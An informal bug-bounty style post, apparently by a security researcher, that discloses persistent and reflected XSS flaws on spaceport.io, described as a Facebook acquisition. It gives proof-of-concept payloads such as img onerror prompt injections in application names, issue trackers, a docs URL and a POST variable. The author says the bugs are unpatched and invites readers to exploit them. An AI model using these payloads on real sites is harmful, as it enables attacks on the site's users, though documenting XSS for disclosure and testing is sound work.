Facebook Acquisition Spaceport Multiple Vulnerabilites

Facebook Acquisition Spaceport  Vulnerable to presistent XSS And reflected XSS

Their Offical Site Is  spaceport.io


Here Are The Poc's


                                                        1) First Presistent XSS




                               Made A Application Name With "><img src=x onerror=prompt(1)>
                                                        Then Boom

2) Presistent XSS

Just Made A Image With X





Then tampered And Added onerror=prompt("xss")





Then Boom

3) Presistent XSS


Made A issue Tracker With name "><img src=x onerror=prompt(1)>
Then Boom

4) Reflected XSS

http://spaceport.io/developers/neo_docs/"><img src=x onerror=prompt(1)>

                                                         5) Presistent XSS

                    I Edited A Post Variable LangChoice With '"()&%1<ScRiPt >prompt(963191)</ScRiPt> .

6) Reflected XSS

I Just Had Given Application Name As "><img src=x onerror=prompt(1)>.asd.asd

Then Boom

                                                       6) Internal Path Disclosure 

Donno Know Why They Rejected .. But I Am Exposing It To Public .. These bugs are Still Not Patched :/  , Exploit Them If U Want :)


My faith :(